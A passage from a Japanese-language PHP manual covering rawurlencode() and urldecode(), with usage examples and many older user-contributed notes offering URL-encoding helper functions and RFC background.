上の例の出力は以下となります。

<a href="ftp://user:foo%20%40%2B%25%2F@ftp.example.com/x.txt">

あるいは、URL の PATH_INFO 中の情報を渡した場合は、

例2 rawurlencode() の例 2

<?php
echo '<a href="http://example.com/department_list_script/',
    rawurlencode('sales and marketing/Miami'), '">';
?>

上の例の出力は以下となります。

<a href="http://example.com/department_list_script/sales%20and%20marketing%2FMiami">

参考

  • rawurldecode() - URL エンコードされた文字列をデコードする
  • urldecode() - URL エンコードされた文字列をデコードする
  • urlencode() - 文字列を URL エンコードする
  • » RFC 3986

User Contributed Notes

Dominik 21-Jan-2021 07:33
Sample function to sanitize a full URL:
<?php
private function sanitizeUrl($url){
        $parts = parse_url($url);

        // Optional but we only sanitize URLs with scheme and host defined
        if($parts === false || empty($parts["scheme"]) || empty($parts["host"])){
            return $url;
        }

        $sanitizedPath = null;
        if(!empty($parts["path"])){
            $pathParts = explode("/", $parts["path"]);
            foreach($pathParts as $pathPart){
                if(empty($pathPart)) continue;
                // The Path part might already be urlencoded
                $sanitizedPath .= "/" . rawurlencode(rawurldecode($pathPart));
            }
        }

        // Build the url
        $targetUrl = $parts["scheme"] . "://" .
            ((!empty($parts["user"]) && !empty($parts["pass"])) ? $parts["user"] . ":" . $parts["pass"] . "@" : "") .
            $parts["host"] .
            (!empty($parts["port"]) ? ":" . $parts["port"] : "") .
            (!empty($sanitizedPath) ? $sanitizedPath : "") .
            (!empty($parts["query"]) ? "?" . $parts["query"] : "") .
            (!empty($parts["fragment"]) ? "#" . $parts["fragment"] : "");

        return $targetUrl;
    }
?>
msegit post pl 16-Jul-2018 02:10
URL/URI encoding is very complicated matter.
For example
'http://example.org:port/path1/path2/data?key1=value1&argument#fragment' (1), or
'scheme://user:password@example.com:port/path1/path2/data?key1=value1&key2=value2#fragment' (2)
e.g. this (2) should be encoded:
'scheme://'.rawurlencode('user').':'.rawurlencode('password').'@example.com:port/'
 .rawurlencode('path1').'/'.rawurlencode('path2').'/'.rawurlencode('data')
 .'?'.htmlentities(urlencode('key1').'='.urlencode('value1').'&'.urlencode('key2').'='.urlencode('value2'))
 .'#'.urlencode('fragment') etc.

For easy encoding, I've written 'toURI' function, see https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a

  URIs as:    [scheme:][//authority][path][?query][#fragment]
   means        [scheme:][//[user[:password]@]host[:port]][/path][?query][#fragment]
   or:            scheme:[user@host][?query] (mailto: etc.)

toURI() short review:

fragment ==> urlencode (e.g. space to '+')
query, as 'key1=value1&key2' ==> each key and value: urlencode (or rawurlencode when $type<0)
    then whole query ==> htmlentities
path, as dir/dir/file ==> each dir and file: rawurlencode (e.g. space to %20)
user:password ==> user and password separately: rawurlencode
(see Anonymous note from 2002-09-13 !)

toURI() using examples:

<?php
//Simple use, without special characters in query arguments/values

echo toURI('key1=value1&key2=value 2&argument1 argument2#fragment');
    //'key1=value1&amp;key2=value+2&amp;argument1+argument2#fragment' - OK
echo toURI('?key1=value 1&argu+ments#frag');
    //'?key1=value+1&amp;argu%2Bments#frag' - OK
echo toURI('../path 1/path 2/file name');
    //'../path%201/path%202/file%20name' - OK
echo toURI('example.com/path1/path2/data?key1=value1&key2=value2#fragment', 1);
    //'example.com/path1/path2/data?key1=value1&amp;key2=value2#fragment' - OK; better 1 than autodetection
echo toURI('http://user:_pass word_@example.com:123/path 1/data?key1=value 1&key2=value2#fragment');    // with username, password or unknown query arguments, use $spec_replace - see below

echo toURI('path 1/path 2/da ta?key1=value 1&argu+ments#frag', 5);
    //'path 1/path%202/da%20ta?key1=value+1&amp;argu%2Bments#frag' - wrong, should be 4:
echo toURI('path 1/path 2/da ta?key1=value 1&argu+ments#frag', 4);
    //'path%201/path%202/da%20ta?key1=value+1&amp;argu%2Bments#frag' - OK

echo toURI('example.com:port/path1/path2/data?key=value&path=dir 1/dir 2/file#fragment', 5);
    //'example.com:port/path1/path2/data?key=value&amp;path=dir+1/dir+2/file#fragment' - OK

echo toURI('path1/path2/data?key1=valueWith~!@?/#$%^&*()inside&arg#frag', 2);
    //'path1/path2/data?key1=valueWith%7E%21@?/%23%24%25%5E&amp;%2A%28%29inside&amp;arg#frag' - wrong (first &amp;), use $spec_replace - see fuller examples on my github https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a
?>
jz 08-Mar-2015 11:26
For those looking to strip all non-reserved characters from a URL according to RFC 3986, the code would look like:

 <?php
$stripped = preg_replace('/[^[:alnum:]-._~]/', '', $source);
?>

To get this string as it should be used in a url, you still probably want to use rawurlencode, as the [:alpha:] posix bracket expression will catch accented characters - use [A-Za-z][0-9] instead if you only want to include ascii characters.

So a basic "slug" generation routine might look like:

 <?php
function strtoslug($string) {
    // strip out all but unreserved characters from rfc:3986
    $stripped = preg_replace('/[^[:alnum:][:blank:]-._~]/', '', $string);
    // convert compacted whitespace to hyphens
    $slug = preg_replace('/[:blank:]+/', '-', $stripped);
    return $slug;
}
?>
Anonymous 22-Jan-2012 03:42
If you, like me, sometimes have the misfortune of being forced to work with PHP4, here is a PHP implementation of http_build_query() that produces more or less the same output as this function, accepting the same arguments.

The only differences here are that the RFC selector argument does not behave precisely correctly. This implementation passes RFC1738 through urlencode() and RFC3986 through rawurlencode(), which is not 100% correct, see the manual pages of those function for more information.

<?php

  if (!function_exists('http_build_query')) {

    if (!defined('PHP_QUERY_RFC1738')) define('PHP_QUERY_RFC1738', 1);
    if (!defined('PHP_QUERY_RFC3986')) define('PHP_QUERY_RFC3986', 2);

    function http_build_query ($query_data, $numeric_prefix = NULL, $arg_separator = NULL, $enc_type = PHP_QUERY_RFC1738, $base = NULL) {
      $result = array();
      $arg_separator = ($arg_separator != '') ? (string) $arg_separator : ini_get('arg_separator.output');
      $enc_func = ($enc_type == PHP_QUERY_RFC3986) ? 'rawurlencode' : 'urlencode';
      foreach ($query_data as $key => $item) $result[] = (is_array($item) || is_object($item)) ? http_build_query($item, NULL, $arg_separator, $enc_type, ($base !== NULL) ? "$base%5B".$enc_func($key).'%5D' : $enc_func($key)) : (($base !== NULL) ? "$base%5B".$enc_func($key).'%5D='.$enc_func($item) : ((is_int($key) && $numeric_prefix !== NULL) ? (string) $numeric_prefix : '').$enc_func($key).'='.$enc_func($item));
      return implode($arg_separator, $result);
    }

  }
ToKaM 23-Oct-2010 03:32
Be careful here. rawurlencode changes a to %C3%83%C2%A4 but firefox changes this internally to %c3%83%c2%a4. This could lead to bugs with rewrite loops.
Cheers.
bolvaritamas at vipmail dot hu 07-Oct-2010 06:25
I've written a simple function to convert an UTF-8 string to URL encoded string. All the given characters are converted!

The function:
<?php
function mb_rawurlencode($url){
$encoded='';
$length=mb_strlen($url);
for($i=0;$i<$length;$i++){
$encoded.='%'.wordwrap(bin2hex(mb_substr($url,$i,1)),2,'%',true);
}
return $encoded;
}
?>

Example:
<?php
echo 'http://example.com/',
    mb_rawurlencode('?好');
?>

The above example will output:
http://example.com/%e4%bd%a0%e5%a5%bd
hiroaki dot kawai at gmail dot com 22-Oct-2008 07:40
phpversion()>=5.3 will compliant with RFC 3986, while phpversion()<=5.2.7RC1 is not compliant with RFC 3986.

History of related RFCs:

RFC 1738 section 2.2
 only alphanumerics, the special characters "$-_.+!*'(),", and
 reserved characters used for their reserved purposes may be used
 unencoded within a URL.

RFC 2396 section 2.3
 unreserved  = alphanum | mark
 mark        = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

RFC 2732 section 3
 (3) Add "[" and "]" to the set of 'reserved' characters:

RFC 3986 section 2.3
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"

RFC 3987 section 2.2
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
herenvardo at gmail dot com 15-Aug-2008 04:11
I have to mention something about javier's post: the issue you are experiencing only happens because you are using ISO-8859-1 (a.k.a. ISO-LATIN-1) encoding, which is an extension of ASCII using the values 128-255 for latin specific characters (these characters are NOT part of ASCII). To say somethig like 0xF1 is the correct value for "n" in ASCII is wrong: any value equal or higher than 0x80 is invalid in ASCII; and there is no "correct" value for "n" in ASCII because the ASCII character set does not include that character.
These encode/decode functions are designed to work on UTF-8, which is an ASCII-compatible encoding for Unicode, thus being able to represent the entire Unicode character range.

The main point is: the "A±" you get is the 0xC3 0xB1 sequence, interpreted as two single-byte ISO-8859-1 characters; but if you interpret them as UTF-8, they indeed represent "n". If you are working with the latin character set and encoding, then you are fine with your method (which is essentially a utf-8 => iso-latin-1 converter).

For anybody who is using UTF-8 enconding, check if there is any issue before you use a method like javier's: these multi-byte values are actually the right way to represent any non-ASCII character on UTF-8.

For deeper details on the UTF-8 and ISO-8859-1 encodings, take a look at wikipedia:
http://en.wikipedia.org/wiki/UTF-8
http://en.wikipedia.org/wiki/ISO-8859-1
javier dot alejandro dot segura at gmail dot com 04-Jan-2008 11:40
<?php
/*
 :: Latin characters issue using rawurldecode() ::
    ------------------------------------------

What happen if you need tu convert this %C3%B1 into this 'n' using rawurldecode()? Well, it doesn't work as we'd wish to. We'll get this "A±". To fix this issue, I've made the following function:

*/

    function urlRawDecode($raw_url_encoded)
    {
        # Hex conversion table
        $hex_table = array(
            0 => 0x00,
            1 => 0x01,
            2 => 0x02,
            3 => 0x03,
            4 => 0x04,
            5 => 0x05,
            6 => 0x06,
            7 => 0x07,
            8 => 0x08,
            9 => 0x09,
            "A"=> 0x0a,
            "B"=> 0x0b,
            "C"=> 0x0c,
            "D"=> 0x0d,
            "E"=> 0x0e,
            "F"=> 0x0f
        );

        # Looking for latin characters with a pattern like this %C3%[A-Z0-9]{2} ie. -> %C3%B1 = 'n'
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i",$raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                    (0xc0 | ($hex_table[substr($value,0,1)]<<4)) | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace($res,$arr_unicoded,$raw_url_encoded);
        }

        # Return raw url decoded
        return rawurldecode($raw_url_encoded);
    }

# Testing
print "Decoded character -> " . urlRawDecode("%C3%B1");

// ouput:
//         Decoded chracter -> n

/*

:: A little explanation about what does this function do ::
   -----------------------------------------------------

This function makes two binary operations between C3 and B1. To get an ASCII representation of this kind of raw url encoded character, we have to make a logical OR between HIGH nibble of 0xC3 (0xC) and HIGH nibble of 0xB1 (0xB) -> (0xC0 | 0xB0), then, a logical AND between both LOW nibble (0x03 & 0x01), and finally we have to make a logical OR between these two results -> [hex] ((0xC0 | 0xB0) | (0x03 & 0x01)) = [binary] ((1100 0000 | 1011 0000) | (0000 0011 & 0000 0001)) = [hex] 0xF1 = [binary] 1111 0001 = "n" character.

Hope to be helpfull, if you have an issue like this, try to use this function.

Bye,

Javi =)

*/
?>
christian _no interest in at spam dot com 25-Jan-2007 05:53
I had serious trouble with local Windows paths containing umlauts on my Apache 2 / Windows NT machine. Apache could not find any of those files if I just used rawurlencode. It's not noted anywhere here, but you fix this by simply making your path utf8 first:

rawurlencode(utf8_encode($str));
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:15
Note in regards to 'rickyale at ig dot com dot br' program:

Wouldn't the whole issue be fixed by using CHARSET=shift-jis in the HTML page?

I'm passing some data between the HTML form and an PHP program - my 'special' characters have to do with the Polish alphabet - and it looks like JavaScript encoding actually... works.

Of course, I could have tested only a limitted number of cases.

Just a thought.
piotr DOT wydrych AT gmail DOT com 29-Mar-2006 02:40
You can encode paths using:

<?php
$encoded = implode("/", array_map("rawurlencode", explode("/", $path)));
?>
jeroen at virtualhost dot nl 27-Feb-2006 03:55
On the comments of rickyale and djmaze...
Is what you try to achieve is not a combination of utf8 and url encoding, e.g. :

<?
$str = "bl?f Charl?ne";
$enc = urlencode(utf8_encode($str));
$str2 = utf8_decode(urldecode($enc));
echo "$str -> $enc -> $str2";
?>

will output:
bl?f Charl?ne -> bl%C3%B8f+Charl%C3%A8ne -> bl?f Charl?ne

At least works for me, Jeroen Hofstee
djmaze@dragonflycms 02-Feb-2006 03:36
Easier version to 'rickyale at ig dot com dot br' his example

<?php
function encode($text)
{
    $REQUEST_URI = str_replace('"', '%22', $text);
    // 0 - 128
    return preg_replace('#([\x3C\x3E])#e', '"%".bin2hex(\'\\1\')', $text);
}
?>
Just fill the regular expression with all characters that you need to have encoded.

NOTE: 142 and up in his array are language specific ASCII characters so the conversion to their unicode ('%C5%BD') equivelant may or may not work for you.
This needs a far more serious and bigger system to handle for non us tables
rickyale at ig dot com dot br 02-Dec-2005 08:15
As peter@nospam said, the microsoft uses an different table for encode string when sending data...

with some test i have created a table with this encodes for special char like ? ? ? ? ?

here is it for those who need know what is this table..

the index of array is the ord() of a character..
use with chr(index) to know the char.. and replace with the value.....

var    $ENCODE_TABLE = ARRAY(33=>'%21', 35=>'%23', 36=>'%24', 37=>'%25', 38=>'%26', 40=>'%28', 41=>'%29', 43=>'%2B', 44=>'%2C', 47=>'%2F', 58=>'%3A', 59=>'%3B', 60=>'%3C', 61=>'%3D', 62=>'%3E', 63=>'%3F', 91=>'%5B', 92=>'%5C', 93=>'%5D', 123=>'%7B', 124=>'%7C', 125=>'%7D', 142=>'%C5%BD', 192=>'%C3%80', 193=>'%C3%81', 194=>'%C3%82', 195=>'%C3%83', 196=>'%C3%84', 197=>'%C3%85', 199=>'%C3%87', 200=>'%C3%88', 201=>'%C3%89', 202=>'%C3%8A', 203=>'%C3%8B', 204=>'%C3%8C', 205=>'%C3%8D', 206=>'%C3%8E', 207=>'%C3%8F', 210=>'%C3%92', 211=>'%C3%93', 212=>'%C3%94', 213=>'%C3%95', 214=>'%C3%96', 217=>'%C3%99', 218=>'%C3%9A', 219=>'%C3%9B', 220=>'%C3%9C', 221=>'%C3%9D', 224=>'%C3%A0', 225=>'%C3%A1', 226=>'%C3%A2', 227=>'%C3%A3', 228=>'%C3%A4', 229=>'%C3%A5', 231=>'%C3%A7', 232=>'%C3%A8', 233=>'%C3%A9', 234=>'%C3%AA', 235=>'%C3%AB', 236=>'%C3%AC', 237=>'%C3%AD', 238=>'%C3%AE', 239=>'%C3%AF', 242=>'%C3%B2', 243=>'%C3%B3', 244=>'%C3%B4', 245=>'%C3%B5', 246=>'%C3%B6', 249=>'%C3%B9', 250=>'%C3%BA', 251=>'%C3%BB', 252=>'%C3%BC', 253=>'%C3%BD', 255=>'%C3%BF');

example::

function encode($text) {
    while(list($ord, $enc) = each($ENCODE_TABLE)) {
    $text = str_replace(chr($ord), $enc, $text);
    }
return $text;
}

hope this help ...
ulterior AT one.lt 31-Aug-2005 05:48
In addition to my last post I would like to add that, this function is for the "directories/somefile.ext" paths

In order to construct valid ftp url (with password added in it )
do this

$valid_path = "ftp://" . rawurlencode($user) . ":" . rawurlencode($pass) . ftp_url_encode($your_server_path_to_file)

Last function will encode path url so that language characters remain untouched and you get same file name for download after download dialog appears.
ulterior AT one.lt 30-Aug-2005 12:20
This seems the correct way to encode ftp url which you could provide for your users:

function ftp_url_encode($string) {

   $hex="";
   $retstr = "";
   for ($i=0; $i < strlen($string) ;$i++) {

     $char = $string[$i];
     if(($char >= '0' && $char <= '9') || ($char >= 'A' && $char <= 'Z') || ($char >= 'a' && $char <= 'z') || $char == '.' || $char == '-' || $char == '/' || (ord($char) >=128) ) $retstr .= $char;
     else
     $retstr .= "%".strtoupper(dechex(ord($string[$i])));

   }
   return $retstr;
}

Browsers mangle certain language characters
peter at nospam dot webgains dot com 31-May-2005 01:38
The microsoft URLEncode method ignores the documentation in RFC1738 which states that:

".... the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL"

So for example, myaddress@mydomain.com becomes myaddress%40mydomain%2Ecom, whereas php and other languages would encode this as myaddress%40mydomain.com

This can be an issue when porting from asp or if you are doing string comparison of strings urlencoded on different platforms.

NB. php will correctly decode myaddress%40mydomain%2Ecom to myaddress@mydomain.com, it is only the encoding that differs
Lucas Gonze -- lucas at gonze dot com 06-Jan-2005 10:01
I have attempted to incorporate all of the previous comments, plus several bug fixes, into  dphantom's linkencode.  I see no bugs for these test cases:
http://example.com/path1;var1=val1/p2;v2
http://example.com/p1;v1/p2;v2
http://[ip:v6:440]:8080
http://example.com:8080
http://example.com/~joe
http://example.com/foobar/~joe
http://username:password@hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
http://invalid_host..name/

function linkencode($p_url){
   $uparts = @parse_url($p_url);

   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";

   if(!empty($scheme))
     $scheme .= '://';

   if(!empty($pass) && !empty($user)) {
     $user = rawurlencode($user).':';
     $pass = rawurlencode($pass).'@';
   } elseif(!empty($user))
     $user .= '@';

   if(!empty($port) && !empty($host))
       $host = ''.$host.':';
   elseif(!empty($host))
       $host=$host;

   if(!empty($path)){
     $arr = preg_split("/([\/;=])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $path = "";
     foreach($arr as $var){
       switch($var){
       case "/":
       case ";":
       case "=":
         $path .= $var;
         break;
       default:
         $path .= rawurlencode($var);
       }
     }
     // legacy patch for servers that need a literal /~username
     $path = str_replace("/%7E","/~",$path);
   }

   if(!empty($query)){
     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $query = "?";
     foreach($arr as $var){
       if( "&" == $var || "=" == $var )
         $query .= $var;
       else
         $query .= urlencode($var);
     }
   }

   if(!empty($fragment))
     $fragment = '#'.urlencode($fragment);

   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
}
Andrew Eigus 24-Jan-2003 03:31
note that if you implement your own server request engine in the HTTP manner like:

GET $request_uri

you should first split all parts of the $request_uri path and rawurlencode() each part, then concatenate those parts back again.  this function will translate the URI correctly:

function translate_uri($uri) {
    $parts = explode('/', $uri);
    for ($i = 0; $i < count($parts); $i++) {
      $parts[$i] = rawurlencode($parts[$i]);
    }
    return implode('/', $parts);
}

because if you do rawurlencode() over the whole URI, path separator characters '/' are also encoded and request will not happen to be correct.  '/' characters should not be encoded, only those parts in between.

hope this helps someone like me...
15-Nov-2002 07:30
Note that RFC 1738 has been amended:
The "[" and "]" are no longer considered unsafe, but instead are now considered "reserved", meaning that they CAN be used in URLs!

Currently this usage has only been allowed in the hostname part, but there are some proposals to allow such use in some URL schemes. Similar extensions are now found that use the "{}" characters as "reserved" characters with special semantics, instead of "unsafe" characters that must be URL encoded...

Note also that some characters are currently "reserved" but should have instead been considered as "unsafe": this includes the parenthesis "()" which are clearly unsafe when a URL is used in MIME headers.

Because of this, if a valid URL contains "()" characters, one should use an upper-level encoding to either enclose the URL with a pair of "unsafe" characters defined in the upper-level protocol (for example a "<>" pair in MIME headers, because these characters cannot be part of a valid URL)...
15-Nov-2002 07:20
About the ";" reserved character in URLs:

rawurlencode() will encode it with a "%2A" triplet. When used on the path part of a URL, this will break the usage defined in URL RFCs, that allows specifying additional parameters to *EACH* element of a path (separated by "/").

So if a path element contains a ";" character (some filesystems allow it, but this is not recommanded) as part of a directory name, this character must be encoded so that it won't be mixed with a parameter extension.

This mapping is allowed on URLs that use a hierarchical scheme (HTTP, HTTPS, FTP, FILE, ...), so that each path element prefixed by "/" can have additional navigational parameters such as authorization strings or semantic parameters.

The generic format of a path element may include path elements such as:
"/." or "/.." or "/.specialname" or "/regularname"
Each part may be followed by a ";" and other parameters separated by ";". These parameters can be eithger ordered or unordered. Unordered parameters have a symbolic name separated from their value with an equal sign.

Do not mix path element parameters with a query string: these parameters are directly attached to the individual path element, and this makes a difference when this path element is not the last one of the URL. These parameters are part of the resource name (unlike the query string), and the semantic of "." and ".." apply to the full path element with its parameters, so that:
"/subdir1/subdir2/page.html;CHARSET=shift-jis/../index.html"
will resolve to "/subdir1/index.html".

Note that:
"/subdir1/subdir2/page.html;CHARSET=shift-jis"
designates a DISTINCT resource name from:
"/subdir1/subdir2/page.html"
It does not necessarily involves a query, and so it can be cached by default (unlike URLs that contain a query string).

When using path element parameters, their optional name and required value must be rawurlencode()'d separately before inserting ";" and "=" parameters and creating the path elements that will be imploded in the full path.

The consequence is that you MUST not urlencode() or rawurlencode individual path elements, without first parsing them:
- first explode the path into its path lements separated by "/"
- then explode each path element in their name and parameters separated by ";" characters
- then split path element parameters that contain a "=" sign into a name/value pair.
- make sure that unordered path paremeters (that have been cut according to "=" into a pair) are specified *after* ordered parameters (including the main path element name) in each path element, and that no two unordered parameters have the same name (this restriction does not occur on unordered, unnamed parameters which only supply a value).
- finally you can interpret rawurlencoded names and values that constitute each path element.

Note also that some non-compliant HTTP servers consider that named parameters are ordered, and don't add a semantic to the ";" and "=" used to break up the list of path element parameters. On client agents, when validating URLs, it's best then not to try to interpret this list, and you should just split the main part of a path element and the parameters list by isolating the first ";" that introduces this list. However, the encoded parameter list cannot include any "/" parameter.

Caveats: note that path element parameters (introduced by ";") may be used on upper levels of a hierarchic URL, even before the final document name and its query parameters. When building lists of URLs, you should not separate URLs blindly with a ";" separator, as each URL may include a ";" character, in their path part (the ";" character cannot ocur safely in a query string). In that case, use a surrounding pair such as "<>" or quotes to enclose each URL in such a list.
15-Nov-2002 06:41
--- 1) About "reserved" characters in URLS:

Beware that RFC 1738 specifies that the characters "{", "}", "|", "\", "^", "~", "[", "]", and "`" are all considered unsafe and SHOULD be URL-encoded with a "%xx" triplet within *ALL* URLs.

However, some HTTP URLs seem to use the "~" character as a prefix for a user account for example:
http://www.any.host.domain/~user/subpath/page.html?query#fragment

This usage is acceptable, but the RFC specifies that "%7E" should be used instead of "~" in the path component. HTTP servers should accept "~" as being equivalent to "%7E", and according to the RFC, the "%7E" form should be the canonical one.

However, some HTTP servers are not fully complying to this RFC and consider "%7E" differently from "~" (i.e. they consider it as being part of a path component name, and search a directory name containing a "~" character, instead of mapping the "~user" path component to a user's directory. In that case, these non compliant HTTP server will not find the resource associated to that URL and may return a 404 error or other errors such as an access denied.

When using rawurlencode() on such HTTP URLs, it's best to consider this legacy usage, by using str_replace() on the result to convert back "/%7E" to "/~", so that the URLs will correctly map to the legacy use of the "~" character by these servers. On compliant HTTP servers, they will treat the "~" unsafe character equivalently with the "%7E" recommanded form, so they will automatically canonicalize the "~" character into "%7E".

--- 2) Encoding of hostnames in URLs

Finally, beware that host domain names parts in URLs *MUST NOT* be encoded with rawurlencode(), as the "[" and "]" are valid delimiters that *MUST* be used to reference an IPv6 address or other hostnames that don't fit to the restricted set of characters allowed in a host name (the "[" and "]" characters MUST be used if the hostname includes characters such as ":" which is typically used to specify an alternate non-default port number).

The encoding of host names uses another encoding, required to encode international domain names, with a base-64 encoding of Unicode characters and a "bq--" prefix. This encoding must be used only on individual subdomain parts (separated by "." characters). This encoding does not use any "%xx" triplets.

So NEVER use urlencode() or rawurlencode() on an unparsed URL, unless this full URL is part of a query parameter string!

--- 3) Encoding of username/passwords in URLs:

There is no standard to specify a password in a URL. In fact, there's a legacy usage of the ":" character to separate a username from a password, but it is strongly discouraged. The RFC does not attempt to specify a semantic to the authentication part of an URL (before the "@" character and the hostname part).

If you need to encode a password, always use rawurlencode() on username and passwords separately, and then insert the ":" character to separate both components. Don't use urlencode() (which could use a "+" to encode a space, and would not work because usernames and passwords consider "+" and spaces as being different!)
13-Sep-2002 05:06
rawurlencode() MUST not be used on unparsed URLs.

rawurlencode() should not be used on host and domain name parts (that may include international characters encoded in each domain part with a "q--" prefix followed by a special encoding of the international domain, currently in testbed).

rawurlencode() may be used on usernames and passwords separately (so that it won't encode the ':' and '@' separators).

rawurlencode() must not be used on paths (that may contain '/' separators): the ['path'] element of a parsed URL must first be exploded into individual "directory" names. A directory or filename that contains a space must not be encoded with urlencode() but with this rawurlencode(), so that it will appear as a '%20' hex sequence (not '+')

rawurlencode() must not be used to encode the ['query'] element of a parsed URL. Instead you must use the urlencode() function:

Typical queries often use the '&' separator between each parameter. This '&' separator however is just a convention, used in the www-url-encoded format for HTML forms using the default GET method. However, when references are done in a HTML page to an URL that contains static query parameters, these '&' separators should be encoded in the HTML code as '&amp;' for HTML conformance. This is not part of the URL specification, but of the HTML encapsulation! Some browsers forget this, and send '&amp;' with their HTTP GET query. You may wish to substitute '&amp;' by '&' when parsing and validating URLs. This should be done BEFORE calling urlencode() on query parts.

The ['fragment'] part of a parsed URL (after the first '#' separator found in any URL) must not be encoded with this rawurlencode() function but instead by urlencode().

Validating a URL sent in a HTTP request is then more complicated than what you may think. This must be done only on parsed URLs (where the basic elements of an URL have been splitted), and then you must explode the path components, and check the presence of '&amp;' sequences in the query or fragment parts.

The next thing to do is to check the URL scheme that you want to support (for example, only 'http', 'https', or 'ftp').

You may wich to check the ['port'] part to see if it's really a decimal integer between 1 and 65535.
You may wish to remove the default port number used by the URL schemes you want to support (for example the port '80' for 'http', the port '21' for 'ftp', the port '443' for 'https'), and restrict severely all port numbers below 1024, or some critical ports below 140 (this includes DNS and NetBios ports).

Then you may wish to control severely the ['host'] part (in fact a full host domain name or an IP address), by forbidding those host names that don't contain at least one dot, forbidding those that start with a dot, those that contain two consecutive dots, those that start or finish with a '-' dash, those that contain '.-' or '-.' (invalid in all domain names), those that contain two dashes in another position than the second and third character of a domain name part and not folled by at least one other character, forbid top level domain names that have only one non numeric character, or more than 6 characters (".museum" is, for now, the longest acceptable TLD), check that pseudo-TLD names that are pure integers are effectively between 0 and 255, in that case check that this is a valid IPv4 address by comparing it to long2ip(ip2long($host)), ...

This done, you must use the urlencode() function on all parts up to the exploded path elements, and rawurlencode() on the query and fragment parts, according to the specs, to recreate a complete and validated URL.
dphantom at ticino dot com 03-Feb-2002 02:48
PHP's functions rawurlencode() and urlencode(), both encode the whole argument parameter string, making the result useless as a valid link.

The function listed here encodes a link string (e.g. http://www.domain.com/long_path/to\file.php?query=param#fragm) to a valid <a href=""> parameter string, preserving the original URI structure and the path given.

function linkencode ($p_url) {
    $ta = parse_url($p_url);
    if (!empty($ta[scheme])) { $ta[scheme].='://'; }
    if (!empty($ta[pass]) and !empty($ta[user])) {
            $ta[user].=':';
            $ta[pass]=rawurlencode($ta[pass]).'@';
    } elseif (!empty($ta[user])) {
        $ta[user].='@';
    }
    if (!empty($ta[port]) and !empty($ta[host])) {
        $ta[host]=''.$ta[host].':';
    } elseif    (!empty($ta[host])) {
        $ta[host]=$ta[host];
    }
    if (!empty($ta[path])) {
        $tu='';
        $tok=strtok($ta[path], "\\/");
        while (strlen($tok)) {
            $tu.=rawurlencode($tok).'/';
            $tok=strtok("\\/");
        }
        $ta[path]='/'.trim($tu, '/');
    }
    if (!empty($ta[query])) { $ta[query]='?'.$ta[query]; }
    if (!empty($ta[fragment])) { $ta[fragment]='#'.$ta[fragment]; }
    return implode('', array($ta[scheme], $ta[user], $ta[pass], $ta[host], $ta[port], $ta[path], $ta[query], $ta[fragment]));
}


URL エンコードされた文字列をデコードする

  • ≪ rawurlencode
  • urlencode ≫
  • PHP Manual
  • URL 関数
  • URL エンコードされた文字列をデコードする

urldecode

(PHP 4, PHP 5, PHP 7, PHP 8)

urldecode — URL エンコードされた文字列をデコードする

説明

urldecode ( string $string ) : string

与えられた文字列中のあらゆるエンコード文字 %## をデコードします。 プラス記号 ('+') は、スペース文字にデコードします。

パラメータ

string

デコードする文字列。

返り値

デコードした文字列を返します。

例

例1 urldecode() の例

<?php
$query = "my=apples&are=green+and+red";

foreach (explode('&', $query) as $chunk) {
    $param = explode("=", $chunk);

    if ($param) {
        printf("Value for parameter \"%s\" is \"%s\"<br/>\n", urldecode($param[0]), urldecode($param[1]));
    }
}
?>

注意

警告

スーパーグローバル $_GET および $_REQUEST の内容はすでにデコード済みのものです。 $_GET や $_REQUEST の要素に対して urldecode() を使用すると、予期せぬ危険な結果となります。

参考

  • urlencode() - 文字列を URL エンコードする
  • rawurlencode() - RFC 3986 に基づき URL エンコードを行う
  • rawurldecode() - URL エンコードされた文字列をデコードする
  • » RFC 3986

User Contributed Notes

bloodjazman at gmail dot com 16-Apr-2020 09:37
"+" replaced by space according to HTML x-www-form-url-encoded media type
see http://www.faqs.org/rfcs/rfc1866.html
Soaku 30-Aug-2017 05:28
Even if $_GET and $_REQUEST are decoded automatically, some other variables aren't. For example $_SERVER["REQUEST_URI"]. Remember to decode it when using.
OZLperez11 at gmail dot com 01-Oct-2015 05:26
When sending a string via AJAX POST data which contains an ampersand (&), be sure to use encodeURIComponent() on the javascript side and use urldecode() on the php side for whatever variable that was. I've found it tricky to transfer raw ampersands and so this is what worked for me:
<?php

$_POST["data"] = "one%20%26%20two";
$a = urldecode($_POST["data"); // -> "one & two"

?>
For some reason, a variable with an ampersand would stay encoded while other POST variables were automatically decoded. I concatenated data from an html form before submitting, in case you wish to know what happened on the browser end.
aravind dot a dot padmanabhan at gmail dot com 02-Sep-2013 10:26
It seems that the $_REQUEST global parameter is automatically decoded only if the content type is application/x-www-form-urlencoded.

if the content type is multipart/form-data. the data remains un-decoded. and we have to manually handle the decoding at our end
alejandro at devenet dot net 14-Dec-2010 06:27
When the client send Get data, utf-8 character encoding have a tiny problem with the urlencode.
Consider the "o" character.
Some clients can send (as example)
foo.php?myvar=%BA
and another clients send
